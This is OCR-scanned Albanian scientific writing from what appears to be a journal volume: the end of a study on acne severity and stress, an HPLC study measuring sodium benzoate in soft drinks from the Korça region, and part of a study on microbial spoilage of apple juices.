Likelihood Ratio Tests

Model Fitting
Effect Criteria Likelihood Ratio Tests

-2 Log

Likelihood of

Reduced

Model Chi-Square | df Sig.
Intercept 846.807(a) .000 0 .
Grada e acnes 1009.126 162.319 12 .000
Gjinia 848.702(b) | 1.895 4 755
Mosha 859.564(b) | 12.757 12 387
punesimi 856.844(b) | 10.037 8 262
Gjendja_civile | 855.572 8.765 12 723
shkollimi 853.591(b) 6.784 8 560
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Né studimin toné regresioni logjistik multifaktorial tregon se grada e aknes éshté njé
faktor i pavarur pér zhvillimin e nivelit té réndé té stresit te pacientét. Faktorét e
tjeré té marré né studim, si: mosha, gjinia, gjendja civile, punésimi dhe arsimim, nuk
rezultuan té jené sinjifikante nga ana statistikore né lidhje me simptomat e stresit.

Diskutime

Né studimin toné niveli i simptomave té stresit te pacientét me akne vulgaris rezultoi
mjaft sinjifikant (p< 0.001), krahasuar me grupin e kontrollit, rezultat ky i ngjashém
me studime té tjera, té cilat e pércaktojné aknen si njé burim té stresit sinjifkant tek
pacientét me kété patologji . Te grupi i pacientéve ndryshimet né gravitetin e
aknes korreluan né ményré té konsiderueshme me simptomat e stresit, ku u vu re njé
rritie e kétyre simptomave me rritjen e gravitetit t€ aknes. Pra, kjo sygjeron gé
graviteti i akne vulgaris mund té keté njé influencé sinjifikante mbi stresin te
pacientét me kété patologji. Kjo do té thoté se ashpérsia e sémundjes luan njé rol té
réndésishém kur éshté fjala pér té parashikuar nivelin e simptomave té stresit né
pacientét me akne vulgaris, prandaj kujdesi pér aknen merr njé réndési té veganté.
Rezultatet e studimit toné jané né pérputhje me ato té disa studimeve té tjera né té
cilat vihet re njé lidhje pozitive ndérmjet simptomave té stresit dhe gravitetit té akne
vulgaris %1,

Né grupin e pacientéve simptomat e stresit, t&é krahasuara né bazé té regresionit
logjistik me secilin  variabél, nuk rezultuan sinjifikante né lidhje me moshén,
gjininé, arsimimin, punésimin dhe gjendjen civile té pacientéve ( p> 0.001).

Pérfundime

1. Ky studim vuri né dukje nivelin e rritur té simptomave té stresit te pacientét
me Akne vulgaris, krahasuar me grupin e kontrollit, duke e pércaktuar aknen
si njé burim té fugishém té stresit pér pacientét me kété patologji.

2. Simptomat e stresit korreluan sé tepérmi me gravitetin e aknes duke u rritur
né ményré progresive me rritjen e gravitetit t¢ sémundjes. Pra, ne mund té
pérdorim karakteristikat klinike t€ sémundjes si bazé pér té vlerésuar
gjendjen psikologjike té pacientéve, kur éshté fjala pér simptomat e stresit.

Rekomandime

Nga sa u tha mé lart, vlen pér t’u theksuar se vlerésimi dhe trajtimi i hershém dhe
adekuat i akne vulgaris duke reduktuar gravitetin klinik té saj, do té ulé ndikimin e
saj te pacientét me kété patologji duke cuar né né ményré té konsiderueshme né
pakésimin e stresit te kéta pacienté. Nga ana tjetér, menaxhimi i miré i stresit duke
pérfshiré né bashképunimin me mjekét dermatologé edhe profesionisté té disiplinave
té tjera si psikiatrin dhe psikologun, do té& ndihmojé pacientét né pérmirésimin e
cilésisé sé jetés sé tyre.
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MONITORIMI | BENZOATIT TE NATRIUMIT NE PIJET JO ALKOLIKE
TE PRODHUARA NE RAJONIN E KORCES DUKE PERDORUR LIQUID
KROMATOGRAFINE E PRESIONIT TE LARTE (HPLC)

Arben Gjata, Irena Kallgo
Departamenti Biokimi-Agroushqim, Universiteti “Fan S. Noli”

Pérmbledhje

Ruajtja me metoda kimike éshté béré njé praktiké gjithnjé e mé e réndomté né
teknologjité moderne ushgimore té prodhimit té pijeve té buta. Objektivi aktual
kryesoréshté zhvillimi i njé metodeté shpejté dhe té thjeshté me HPLC pér
identifikimin dhe pércaktimin e acidit benzoik né pijet e butaté prodhuara né rajonin
e Korgés. Pércaktimi i acidit benzoik éshté kryer né kolone Cig dhe si fazé té
lévizshme acetonitrile e bufer amonium acetat. Gjatési e valés sé detektorit u
vendos né 235 nm. Rezultatet e fituara né pércaktimin e acidit benzoik tek mostrat
e pijeve té buta nga kompanité e ndryshme té Korc¢és treguan vlerat e pérmbajtjes sé
konservantit midis 78. 77 dhe 538. 01 mg/ I, té cilat u ballafaquan me kufirin ligjor
kombétar. Metoda me HPLC éshté e pérshtatshme pér procesin e monitorimit té
benzoateve né pije. Ky studim, ka treguar se koncentrimi i acidit benzoik né disa
mostra tépijeveté buta éshte mé i larté, bazuar kjo né limitet maksimale té
pércaktuara né standardet kombétare. Prodhuesit e pijeve té buta né rajonin e Korgés
gé pérdorin benzoatet si konservant, duhet t& kené monitorim korrekt té sasisé gé
pérdorin.

Fjalét celés. konservant, acid benzoik, HPLC, pije té buta.

Abstract

Chemical preservation hasincreasingly become an important practice in modern food
processing technology of soft drinks production. The main presentobjective is the
development of a fast and simple HPLC method for the identification and
determination of the benzoic acid in the soft drinks produced in the KorgaRegion.
Thebenzoic acid determination carried out on the C18- column as well as in
themobile phase with acetonitrile and buffer ammonium acetate. Thedetector
wavelength was set up at 235 nm. Theobtainedresults of thebenzoic
aciddeterminationof the real soft drinks’ samples from different Korg¢a’scompanies
showed that the values of preservative contents varied between 78.77 and 538.01
mg/lwhich were compared with the national legal limits.

The concentration of thebenzoic acid in thestudysoft drinks samples showed that it
was higher content, compare with legal maximum limits of the specifiednational
standards. Thefruits juices manufacturers ofKorga Region using the benzoates as
conserving agents should have correct monitoring of their amounts. The presented
HPLC method proved that it is suitable for the monitoring process of the benzoates
in the soft drinks.

Keywords: conserving, agent, benzoic acia, HPLC, soft drinks.
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PARATHENIE

Ruajtja me metoda kimike éshté béré njé praktiké gjithnjé e mé e réndomté né
teknologjité moderne té prodhimit té pijeve joalkoolike dhe té léngjeve té frutave
Kétaruajtés kimik jané shtuar géllimisht pér té ndaluar ose pér té penguar prishjen
e tyre. Né rajonin e Korgés, ka vite gé prodhohen léngje frutash nga dy stabilimente
dhe disa punishte duke u nisur nga koncentrate me pérgéndrime té ndryshme, dhe
kohét e fundit me léngje natyrore népérmjet shtrydhjes sé frutave dhe gé pérdorin si
konservat kimik benzoatin e natriumit. [1]

Acidi benzoik (E210), dhe kripérat e tij pérkatése jané pérgjithésisht efikase pér té
kontrolluar myqget, pengojné rritjen e majave, si dhe kundér njé gamé té gjeré
bakteriesh. [2]

Mekanizmi i ruajtjes fillon me thithjen e acidit benzoik né qelizé. Ai i atribohet
inhibimit nga benzoatet duke u bazuar né teoriné lipofilike, ku preservativét gé
jané acide té dobéta organike si acidi benzoik i ngordhin nga uria gelizat
mikrobiale duke penguar transportin e komponimeve té cilat transportohen
népérmjetmembranave gelizore. [2] Efikasiteti i tyre éshté i varur nga pH [3]. Né
produktet ushgimore me njé pH mbi 5 (pak acid apo neutrale) ata jané té
paefektshém dhe jo shumé e efektshme kundér disa baktereve. Sorbatet dhe
benzoatet jané té lejuarsi ruajtés ushgimore  nga ligjet kombétare dhe
ndérkombétare, por pérmbajtja e tyre duhet té deklarohet dhe nuk duhet té tejkalojé
kufijté e pércaktuar nga legjislacioni. Nivelet maksimale té pérdorura gé i referohen
produkteve gati pér konsum sipas legjislacioneve té Komunitetit Evropian dhe
Republikés sé Shqipérisé né lidhje me Sorbatet dhe benzoatet jané pasqyruar si mé
poshté. [4]

Tabela. 1. Sasité e lejuara me ligj té Sa, Ba né pijet e buta

Niveli maksimal (mg/kg ose mg/l sipas rastit)

Produkti ushgimor  [g3 Ba Sa+Ba

Pijet joalkoolike té | 300 150 250Sa+150Ba
aromatizuara

*Sa-Sorbatet
*Ba-benzoatet

Studimet e fundit kané shprehur shgetésime se acidi benzoik dhe kripérat e tij mund
té reagojné me acid askorbik (vitaminé C) né disa pije té buta, duke formuar sasi té
vogla té benzenit. [5, 6] Nélidhje me njerézit, OBSH-ja, Programi Ndérkombétar pér
Siguriné Kimike (IPCS) sugjeron se konsumi i tolerueshém do té jeté 5 mg / kg
peshé trupore né dité [5]. Prandaj, pércaktimi analitik i kétyre konservuesve nuk
éshté i réndésishme vetém pér géllime té sigurimit té cilésisé, por edhe pér mbrojtjen
e konsumatoréve. Metoda mé e zakonshme analitike pér pércaktimin e acidit
benzoik ose benzoatit té natriumitéshté me HPLC. [7 -13]
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MATERIALE DHE METODA

Metoda e analizimit té benzoatit té natriumit né pijet e buta joalkoolike té prodhuara
né rajonin e Korgés u krye duke pérdorur likuid kromatografiné e presionit té larté
(HPLC).

-Kimikatet

Kimikatet jané benzoat natriumi (> 99%), acid acetik glacial, acetat amoni,
acetonitrile dhe uji i pérdorur pér pérgatitjen e buferit dhe solucioneve standarde té
cilat jané marré€ nga ‘Merck’dhe ‘Sigma’ me cilésimin pér HPLC.

-Aparatura

Analizat kromatografikeu kryen né njé (HPLC) té tipit Varjan prostar model 240
e pajisur me njé pompé terciare dhe dedektor UV Varjan model325Kolona
kromatografike analitike me té cilén u kryen analizat ishte Mikrosorb MV 100-5
C18. 150x4. 6 me injektim manual t& mostrés. Matjet e pH u kryen me njé pH metér
‘HANA” t€ pajisur me njé elektrodé qelqi t€ kombinuar.

-Kushtet kromatografike

Ndarja kromatografike u arrit duke pérdorur faza té lévizshme e pérbéré nga dy
komponenté, A dhe B. Komponenti A é&shté Acetonitrile (pérbérés organik) dhe B
bufer acetat amoni(tretésiré ujore me pH 4. 2). Sistemi Acetonitrile- bufer acetat
amoni ishte A: B = 20:80(v/v). Shpejtésia e lévizjes sé fazés se léngét ishte 0.
75ml/min. Gjatésia e valés optimale pér detektimin u vendos né 235 nm dhe sasia e
injektimit t€ mostrés né€ sistemin kromatografik qé20 pl. Analizimi u krye né
temperaturé normale témjedisit. [10]

-Kurba e ekalibrimitté tretésirave standarde

Tretésirat standarde u pérgatitén me pérmbajtije 1, 2, 4, 10, 20 mg/L benzoat
natriumi duke u nisur nga solucioni stok 1mg/ml. U matén zonat e pikut (y)
pérkundrejt pérgendrimit pérkatés (mg/l) (x). U ndértua kurba dhe u pércaktua
koeficienti i korelacionit. [10, 13, 14, ]

-Pérgatitja e mostrave

Pér realizimin e monitorimit té benzoatit té natriumit né pijet e buta joalkolike té
prodhuara né rajonin e Korgés u morén mostra nga tre kompanité(F, XH dhe V) gé
operojné né kété rajon. Konkretisht u morén mostra té 1éngjeve té frutave, pijeve
me gaz dhe pijeve energjike.

Mostra téndryshme, té pije té buta u filtruan né vakum né filtra me madhési té
poreve0. 45 pm si dhe u vendosén né njé banjé ultrasonike pé€r 15 minuta
pérdegézim. Megenése pérgéndrimi i benzoatit té natriumit né mostra ishte mé i larté
se i standardeve té kurbés se kalibrimit u bé& hollimi i tyre me ujétémarré nga
‘Merck’ me cilésimin pér HPLC.
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REZULTATE DHE DISKUTIME

Sé pari, u ndértua kurba e kalibrimit pér benzoatin e natriumit mbi bazén e zonave
té pikut t& kromatogramave té marra nga pérgendrime té ndryshme té solucioneve
standarde, té pérgatitura nga solucioni stok. Rezultatet gé u morén ishin : pér
pérgéndrimin 1 mg/l — lartésia e pikut ge 59. 2 mAU ; pér 2mg/I-111. 6 ; pér 4 mg/l-
212. 1; pér 10 mg/l 529; pér 20mg/1-1026. 15. Ajo rezultoi me njé linearitet shumé
té miré pér acidin benzoik né diapazonin e pérgendrimeve té& marra, dhe me njé
faktor regresionité shkélgyer (0, 999). Ekuacioni gé i pérgjigjet késaj kurbe éshté: y
=50. 98x + 10. 42

fﬂ@tp— y =50.98x + 10.42

R?=10.999
1000 —
800 _—
600 _—
400 —

200 /
—

0 T T T T 1
0 5 10 15 20 25

mg/l
Fig. 1. Kurba e kalibrimit pér benzoatin e natriumit
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Fig. 2. Kromatograma e njé tretésire standarde, e cila pérmban 4 mg /le
benzoat natriumi
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Duke marré parasysh karakteristikat e HPLC-sé, teknikat dhe literaturén specifike
pér performancén analitike té metodave u pércaktuan:1-L/imiti i pércaktimit (LOD
limit of detection) éshté koncentrimi mé i ulét i njé analiti né té cilin procesi analitik
mund té diferencohet besueshém nga nivelet e sfondit. Disa analisté e llogarisin
limitin e pércaktimit nga pércaktimi i devijimit standard té zhurmés sé sfondit té
pércaktuar nga analiza e mostrave té bardha dhe duke e shumézuar kété me faktorin
3. LOD = 3 x Sy, ndérsa 2-Limiti i sasisé (LOQ  limit of quantization) éshté
koncentrimi me i ulét i njé analiti g& mund té& matet me njé shkallé t& konstatuar té
besueshmérisé (95 %). Limiti i raportimit éshté shpesh i marré si 10-fishi i devijimit
standard. LOQ =10xS. [15]Mé shumé detaje rreth validimit té késaj metode do té
jeté subjekt i njé punimi té métejshém.

Tabele 2. Karakteristikat analitike t& metodés sé HPLC-sé

Parameteri Benzoati i natriumit
Limiti i pércaktimit (LOD) (mg/l) 0.05
Limiti i sasisé (LOQ) (mg/l) 0.1

Tabela 3: Parametrat statistikore té regresionit pér kurbén e kalibrimit té
Benzoatit

Parameteri Benzoati i natriumit

Faktori i regresionit 0.999

MEé tej né fazén e dyté u kryen pércaktimet e mostrave té pijeve té buta me njé
numér pércaktimesh paralele n=5. U analizuan kromatogramat pérkatése dhe u
llogaritén pérgéndrimet pérkatése pér ¢do mostér si dhe pérpunimi statistikor pér
SD dhe RSD[17, 18]. Rezultatet e po i paragesim né tabelén 3.
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Tabela 3. Pércaktimi i benzoatit té natriumi né pije té buta (n = 5)

Nr. Llojiipijes Pérgendrimi RSD (%), Pérgendrimi
mesatar+SD n=5 limit i ligjit
(mg/1) (mg/l)
1 Léng molle me 149.8 +2.26 1.5 150
velcorin(F)
2 Léng frutash me 78.77 1.5 1.9 150
koncentrate velcorin(F)
3 Pije energjike(F) 150.98 +2.6 1.7 150
4 Pije me gaz (XH) 142.95 £2.65 1.83 150
5 Pije me gaz cola(XH) 144,7 £2.65 1.85 150
6 Pije energjike(V) 440.91 +6.5 1. 47 150
7 Pije me gaz limon(V) 538.01 7.9 1.46 150
8 Pije me gaz portokall(VV)  529.58 +7.9 1.49 150
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Fig. 2. Histograma pérmbledhése e pé&rmbajtjes sé benzoatit t& natriumit né
pije té buta

Nga rezultatet e studimit, vihet re se pérgendrimi i benzoateve né mostrat e pijeve
té buta né pjesén mé témadhe éshté brenda limiteve gé pércakton legjislacioni
kombétar dhe Europian por né disa raste i kalon limitet maksimale té lejuaraté tillé
si mostrat e kompanisé (V) Tejkalimi i limiteve té pércaktuara pérbén njé problem
pér konsumatorin dhe njé shkelje ligjore.

Pérfundime

Metoda e analizimit t¢ benzoatit té natriumit né pijet e buta joalkoolike me HPLC
éshté njémetodé e thjeshté, selektive dhe e shpejté.

Ka zbatueshméri pér studimin e njé numri t¢ madh té mostrave pije té buta me
matrica komplekse.

Nga rezultatet e mara nga studimi pérgendrimi i benzoateve kryesisht éshté brenda
limiteve por, né disa raste i kalon limitet maksimale e pérbén shkelje ligjore.
Prodhuesit e pijeve té buta né rajonin e Korgés gé pérdorin benzoatet si konservant,
duhet t& kené monitorim korrekt té sasisé gé pérdorin.

Té gjitha kéto té dhéna né lidhje me pérgéndrimet e acidit benzoik né pije té
ndryshme do té mund té ndihmojné konsumatorét né zgjedhjen e produkteve mé
cilésore pér shéndetin e tyre.
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NDRYSHIMI | KARAKTERISTIKAVE MIKROBIOLOGJIKE GJATE
RUAJTJES TEK LENGJET E MOLLES SE GJELBER DHE TE KUQE

Lurjana Lila*, Erka Rrapi, Donika Prifti
Departamenti i Kimisé Industriale, Fakulteti 1 Shkencave té Natyrés, Universiteti i
Tiranés

Pérmbledhje

Né kété studim u krye pércaktimi sasior dhe cilésor i ngarkesés mikrobiale né Iéngjet
e frutave té mollés sé kuge e té gjelbér menjéheré pas hapjes (dita e paré) dhe
ndryshimet gé ndodhin pas tri ditéve ruajtje né frigorifer (4°C). U pérzgjodhén nga
tregu kampione té markave té ndryshme, me pérqindje té frutit origjinal (nga 10% -
40% frut), kategorish té ndryshme (pure fruti, 1éng frutash, 1éng nga koncentrat
frutash) si dhe me paketime té ndryshme, si: 7efra Pak, Kanace, Shishe Qelqi dhe
Shishe PET né volume té ndryshme.

Analizat mikrobiologjike u kryen pér té& pércaktuar ngarkesén totale bakteriale,
praniné/mungesén e Lactobacillus spp, praniné/mungesén e mygeve dhe majave.
Nga rezultatet e dités sé paré menjéheré pas hapjes sé amballazit, rezultuan me
ngarkesé mé té larté Iéngjet e mollés sé kuge, sidomos ato me pérgindje té larté fruti,
gradé Brix té larté, e aciditet té ulét, gjithashtu kéto produkte nuk kishin té shénuar
né amballazh nése i ishin nénshtruar procesit té pasterizimit. Ngarkesé totale
mikrobiologjike mé té larté tri dité pas hapjes e ruajtjes né kushte frigoriferike,
kishin pérséri mostrat e l1éngut t€ mollés sé kuge. Produktet rezultuan té ndotur me
maja dhe baktere acido-tolerante.

Fjalét celés: Léng molle, baktere acido-tolerante, maja, myge, ngarkesé totale
mikrobike, termorezistencé, numér formoli.

Abstract

The aim of this study is the qualitative and quantitative microbiological analyses of
the Red and Green Apple Juice immediately after opening and three days after
storage under refrigerated conditions (4°C). The juices analysed were selected from
different brands (well known and not), different percentage of fruit content (from
10%-40% fruit), different categories (fruit pure, fruit juice, fruit juice from
concentrate), and packaging (Tetra Pak, Cans, Glass Bottles, and PET bottles) with
different volumes, present in the market. Microbiological analyses were done to
define total bacterial loud, presence/absence of Lactobacillus and presence/absence
of yeasts and molds. From the results of the first day after opening, the red apple
juices are loaded with higher number of microorganisms, especially those with high
percentage of fruit content, higher Brix, and lower acidity. For these products is not
declared in the package the kind of heat treatment that was applied. For the total
microbial loud after three days storage under refrigerated conditions, the results
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shows the same, that the red apple juices has higher microbial loud. These products
were contaminated with yeasts and acid-tolerant bacteria.

Key words: Apple juice, acid-tolerant bacteria, yeasts, molds, total microbial loud,
heat resistant

Hyrja

Né Evropé Iéngu i mollés éshté njé produkt gé konsumohet shumé, ai renditet i treti
né klasifikimin e preferencave né nivelin 13. 3%, pas léngut té portokallit e atij té
pérbéré nga pérzierje frutash (AIIN, 2012). Atéheré kur nuk éshté& e mundur té
konsumohen fruta t€ freskéta, konsumatori tenton t’i z&vendésojé ato me
konsumimin e Iéngjeve té frutave.

Nga pérbérésit mé té réndésishém té Iéngut t€ mollés renditen polifenolet edhe pse
kjo karakteristiké kryesisht i atribuohet 1éngjeve té mollés jo té kthjellét (Markowski
and Plocharski, 2005), kjo pér shkak té procesit té gartésimit i cili ndryshon né
ményré té ndjeshme profilin e polifenoleve krahasuar me até té frutit origjinal
(Dietrich, 2004; Hubert et al. , 2007).

Aktualisht né Shqipéri ka prodhues vendas té I1éngut t€ mollés né zonén juglindore,
me té cilét po punohet né kérkim shkencor té karakterit ruajtés dhe mikrobiologjik.
Markat mé té pranishme té Iéngut té mollés gé i ofrohen konsumatorit né treg jané
marka importi nga fqinjét tané kufitar e mé larg, si Italia, Gregia, Bullgaria etj.
Konsumimi i frutave té freskéta si edhe i Iéngjeve té frutave me pérgindje té larté
fruti ndihmon né ményré té ploté balancén né organizém.

Duke gené se léngjet e frutave kané pérgindje té larté karbohidratesh dhe pH té ulét,
ato jané njé terren i pérshtatshém pér zhvillimin kryesisht té majave, myqeve dhe
baktereve acid-toleruese. Prishja né 1éng mund té diktohet nga prania né sipérfage e
shtresave té qullta t&¢ majave apo shtresave fibroze t& mygeve, formimi i turbullirés
si dhe aromave shpuese. Saccharomyces spp dhe Zygosaccharomyces spp, jané
maja rezistente ndaj trajtimeve termike dhe gjenden zakonisht né léngjet e prishura
(Fitzgerald DJ et al. 2004, Silva FVM et al. 2004). Alicyclobacillus spp. , &shté njé
bakter acidofil dhe termofil sporo formues i cili ka rezultuar sé fundmi si bakter i
pranishém né léngjet e pasterizuara (Siegmund B. et al. , 2006. Chang SS et al. ,
2004 Chen SQ, Tang QY, Zhang XD, Zhao GH et al. 2006). Propionibacterium
cyclohexanicum, qé éshté njé bakter acid tolerant, jo sporoformues, i mbijeton
trajtimeve me nxehtési dhe rritet né njé varietet té gjeré 1éngje frutash (Walker M et
al. 2007). Bakteret laktike, Enterobacteriaceae spp, dhe Pseudomonas spp, mund té
prishin l1éngjet por kané probabilitet t& ulét té€ gjenden duke gené se nuk jané
rezistente ndaj trajtimeve me nxehtési.

Prishja e njé produkti ushgimor é&shté njé proces metabolik gé e shndérron produktin
né té padéshirueshém apo né té papranueshém pér njeriun pér shkak té ndryshimeve
gé ndodhin né karakteristikat e tij sensoriale, kimike, fizike, si psh. ndryshimi i
konsistencés, shijes, erés, apo pamjes sé jashtme. Né funksion té konceptit té
prishjes sé léngut u krye dhe ky studim, ku u analizua né detaje varésia midis
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ngarkesés mikrobiologjike té produkteve dhe disa parametrave. Konkretisht
parametrat gé patén ndikim rezultuan: - temperatura e konservimit, - pérgindja né
Iéng e frutit origjinal, - lloji i paketimit etj. . . U listuan pér té gjithé produktet, lista
e pérbérésve si dhe u analizuan (né 4 paralele) parametrat fiziko-kimiké, si: ac/ditets,
PH, mbetja e thaté, grada Brix, numri i formolit. Rezultoi se faktori parésor kufizues
éshté ngarkesa totale mikrobiale fillestare e produktit (dita 1, menjéheré pas hapjes)
e cila pércakton mé pas edhe ngarkesén 3 dité pas hapjes sé amballazhit, faktor tjetér
i réndésishém éshté temperatura e ruajtjes sé produktit. Né& kété punim u
konfirmuan edhe rezultate t& nxjerra nga studiues té tjeré né lidhje me faktorét gé
ndikojné né jetégjatésiné e léngjeve té frutave, si: Wissanee Supraditareporn, 2007.

Materiale dhe metoda
Kampionatura

Produktet g& u morrén pér studim ishin Iéngje molle né ambalazhet e tyre origjinale
té marra nga supermarkete té ruajtura né kushtet e temperaturés sé mjedisit, né
gytetin e Tiranés.

Né tabelat (1) dhe (2) paragiten Iéngjet e mollés t€ marra pér studim, té ndara né
bazé té paketimit té tyre si dhe jané listuar pérbérésit kryesoré té deklaruar né
paketim.

Analizat kimike:

Té gjitha analizat e poshtéshénuara u kryen pér léngun e mollés sé kuge dhe Iéngun
e mollés sé gjelbér pér té gjithé formatet e marra né studim.

Aciditetit total i liré — U zbatua metoda klasike, u krye titrimi né prani té njé
indikatori me njé alkal (NaOH 0. 5N) deri né pH8. 1. Rezultatet u shprehén né
pérgindje acidi citrik anhidér (w/w)

Indeksi i refraksionit - Pércaktimi u krye me Refraktometér. U krye korrigjimi i
indeksit té refraksionit me ané té formulés s& méposhtme, né varési té ndryshimit té
temperaturés sé matjes e cila ishte mé e larté se ajo 20°C:

n=n' +(t;- t) - 0. 00035 ku n'- indeksi i refraksionit;t; —temperatura e dalé; t —
temperatura 20° C

Grada Brix/Grada Brix e korrektuar — Pércaktimi i gradés Brix (B)(sasia e
sheqerit/100g produkt), u krye duke u bazuar né korrelacionin midis kétij parametri
e indeksit té refraksionit.

Numri i Formolit — U pérdor metoda klasike, pra pércaktimi i sasisé sé hidroksidit
té Natriumit 0. 1 N gé nevojitet pér té neutralizuar grupet hidroksile té lira t&é amino-
acideve né 10 ml Iéng frutash.

Analizat mikrobiologjike

Léngjet e mollés sé gjelbér e té kuge té ruajtur né kushtet e mijedisit e té
ambalazhuar né katér formate té ndryshme: gelq, PET, Tetra Pak, kanage, u hapén
dhe u piketua drejtpérdrejté nga ¢do mostér nga 1ml alikuoté né tre paralele e u

232



kultivua né katér terrenet ushqyese pér té pércaktuar ngarkesén totale mikrobiale. U
zbatua metoda klasike e kultivimit me mbulim (me derdhje). Pjatat e Petrit u
inkubuan né termostat né 30°C né kushte aerobike pér té mundésuar zhvillimin e
kolonive. Leximi i pjatave u krye né bazé té rregullave té pérgjithshme mbi kohén e
inkubimit pér mikroorganizmat pérkatés, (24 oré, 48 oré dhe 5-7 dité). Menjéheré
mé pas léngjet u vendosén né kushte frigoriferike (4°C). U lané né frigorifer pér tri
dité e mé pas u pérsérit rigorozisht e njéjta proceduré si né ditén e paré. Pér
studimin e métejshém té kolonive té zhvilluara u zbatua kultivimi me vijézim. Pér
té pércaktuar sjelljen e kulturave té izoluara ndaj oksigjenit u zbatua kultivimi me
shpim. Gijithashtu, me ané té zbatimit t€ ngjyrosjes sipas gramit e vézhgimit né
mikroskop u mundésua analizimi i detajuar i karakteristikave morfologjike,
koloniale si edhe pércaktimi i gramit pér bakteret e izoluara.

Terrenet ushqyese

Terrenet ushqyese gé u pérdorén ishin terrene té€ pérgjithshém, Capek (myqge);
(MPA) - Musht Pepton Agar, baktere; Sabouraud, maja dhe myge; (MRS) -
Man, Rogosa,Sharpes, /laktobacille, (PCA) - Plate Count Agar - ngarkesa totale,
bakteriale; (PDA) - Patato Dextose Agar - maja dhe myge.

Rezultatet dhe diskutimet

Duke gené se géllimi i punés kérkimore ishte vlerésimi mikrobiologjik i mostrave, u
pa e aresyeshme gé fillimisht té njiheshin disa nga parametrat fiziko-kimiké mé té
réndésishme gé kané ndikim né pérmabjtjen e ngarkesave mikrobiologjike né léng.

Analizat fiziko-kimike

Né tabelat 3 dhe 4 jané paragitur rezultatet e pércaktimit té parametrave fiziko-
kimiké, respektivisht té léngut té€ mollés sé gjelbér e asaj té kuge. Vérehet se mostrat
kané njé aciditet total té liré i shprehur né pérgindje acidi citrik anhidér pothuajse té
njéjté (0. 32-0. 50 w/w) me pérjashtim té J. Qelg gé e ka kété pérgindje mé té ulét
(0. 16 w/w). Grada Brix, pér mostrat varion nga 11. 4-12. 7, kéto vlera jané né
pérputhje me minimumin e kétij parametri té pércaktuar nga Direktiva 2012/12/ EU
e Parlamentit Evropian dhe t& Késhillit, lidhur me Iéngjet e frutave. Mostrat J. Qelq
dhe M. Tetra Pak kané Brix mé té larté me vlera pérkatésisht 14. 34 dhe 15. 66.

Analizat mikrobiologjike té Iéngut té mollés sé gjelbér

Nga rezultatet e nxjerra nga numérimi né pjatat e petrit pér ngarkesén mikrobiale
menjéheré pas hapjes sé ambalazhit té paragitura né figurén 1, jané zhvilluar koloni
pér S. gelg — 2 *cfu dhe B. kanage — 32 cfu vetém né terrenin Sabouraud. Né
terrenet MPA, Capek, PCA nuk ka zhvillim pér asnjérén nga mostrat. Kéto léngje
kané té njéjtén pérgindje té frutit 20%, kané né pérbérje té tyre aditivé me veti
konservuese dhe ju jané nénshturar procesit té pasterizimit. Ato kané parametra té
ngjashme me té tjerat, si né nivelin Brix, ashtu dhe aciditet. Ky nivel kontaminimi
ka té béjé kryesisht me mungesén e korrektésisé né zbatimin e masave higjenike né
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té gjitha hallkat e procesit si dhe né cilésiné mikrobiologjike té 1&éndéve té para nga
té cilat éshté pérftuar ky produkt. Ndérsa mostrat B. Tetra Pak, P. Pet si dhe S.
Qelqg kané ngarkesé totale 0 cfu.

Nga izolimet e kryera né terrenet Capek e Sabouraud, rezultojné. maja, gjinia
Rhodotorula si dhe myku Aspergillus niger.

*Cfu — (geliza té pranishme né 1ml mostér fillestare)

Pas tri ditésh té ruajtjes né frigorifer Iéngu i mollés sé gjelbér, paraqiti ngarkesén e
paragitur né figurén 2. B. Tetra Pak ka ngarkesé prej 57 CFU zhvilluar né terrenet
Sabouraud e Capek. Kjo rritje mund t’i atribuohet sasisé sé oksigjenit té shtuar né
bréndési té paketimit. Ky léng ka pérqgindje té bazés natyrale té frutit 40%, dy-tre
heré mé té larté sesa mostrat e tjera gé e bén até njé mjedis shumé té pérshtatshém
pér zhvillim mikrobiologjik. Lénda e thaté dhe viskozitetin i larté né kété Iéng, ul
drejtpérdrejté ndikimin e temperaturés sé ulét né t8. Ngarkesa totale e B. Kanage
nuk ka ndryshuar né rend logaritmik, rezulton 35CFU. Nga izolimet e kryera
rezulton prani e Aspergillus niger, Penicillium spp. , dhe koloni té shumta majash e
bakteresh.

Analizat mikrobiologjike té léngut té mollés sé kuge

Ngarkesa mikrobiale ditén e paré menjéheré pas hapjes sé ambalazhit éshté paragitur
né tabelén 5. Jané zhvilluar koloni né terrenet PCA, Sabouraud, Capek dhe jo né
MRS. Né mostrat e I&ngut té mollés sé kuge nuk ka prani Laktobacillus. Pér dy
mostrat M. Tetra Pak (pure molle) dhe J. Qelq (50% frut) té cilat nuk shénojné nése
i jané nénshtruar procesit té pasterizimit, rezultojné né té tre terrenet e pérmendur
mé sipér né njé nivel t& panumérueshém té gelizave té zhvilluara. Ndérsa dy mostrat
e tjera, pérséri paragesin njé ngarkesé té panumérueshme por mé té ulét se dy
mostrat e mésipérme.

U konkludua se mostrat e marra nga léngu i mollés sé kuge kané njé ngarkesé
fillestare té pérgjithshme mikrobike, mé té larté se mostrat nga Iéngu i mollés sé
gjelbér. Gjithashtu edhe né rezultatet e kultivimit t& mostrave pas dités sé treté té
hapjes dhe pas ruajtjes né frigorifer, ka rezultuar njé ngarkesé shumé e larté
mikrobiale, kryesisht e zhvilluar né terrenet Sabouraud dhe Capek, mé pak né PCA
dhe aspak né MRS. Ngarkesé mé té larté kané dy mostrat M. Tetra Pak(pure molle)
dhe J. Qelg (50% frut) té cilat nga analizat fiziko-kimike té kryera paragesin njé
Gradé Brix mé té larté se mostrat e tjera, konkretisht 14. 34 dhe 15. 66 si dhe njé
pérgindje acidi citrik té ulét, té dy kéto parametra kané lejuar zhvillim né nivel té
larté té mikroorganizmave té pranishém.

Pérfundime

Pér kolonité mé karakteritike u krye studimi i karakteristikave morfologjike dhe té
makrokolonive. Nga studimi taksonomik u arrit té identifikoheshin deri né nivel
specie disa mikroorganizma tipike té€ kontaminit té Iéngjeve té frutave.
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Si éshté vértetuar edhe nga studime té méparshme, Iéngu i mollés (pH 2. 9-3. 91)
zakonisht kontaminohet nga majaté (grupi mé i réndésishém) myget dhe nga
bakteret acido-toolerante. Burimi i kontaminimit mund te jené frutat apo Iéndét e
para pérbérése si dhe makinerité pérpunuese etj.

Rhodotorula spp, g€ u gjend e pranishme né léngun e mollés sé gjelbér éshté njé
indikator i standardeve higjenike té ulta. Kéto jané majaté tipike té gjetura né shumé
fabrika. Sa mé i larté té jeté numri i tyre aq mé e ulét éshté gjendja e higjenés né
fabriké. Né Iéngun e mollés sé kuge ka rezultuar Saccharomyces cerevisiae e cila
éshté osmo-tolerante, shkakton fermentim agresiv éshté rezistente ndaj konservuesve
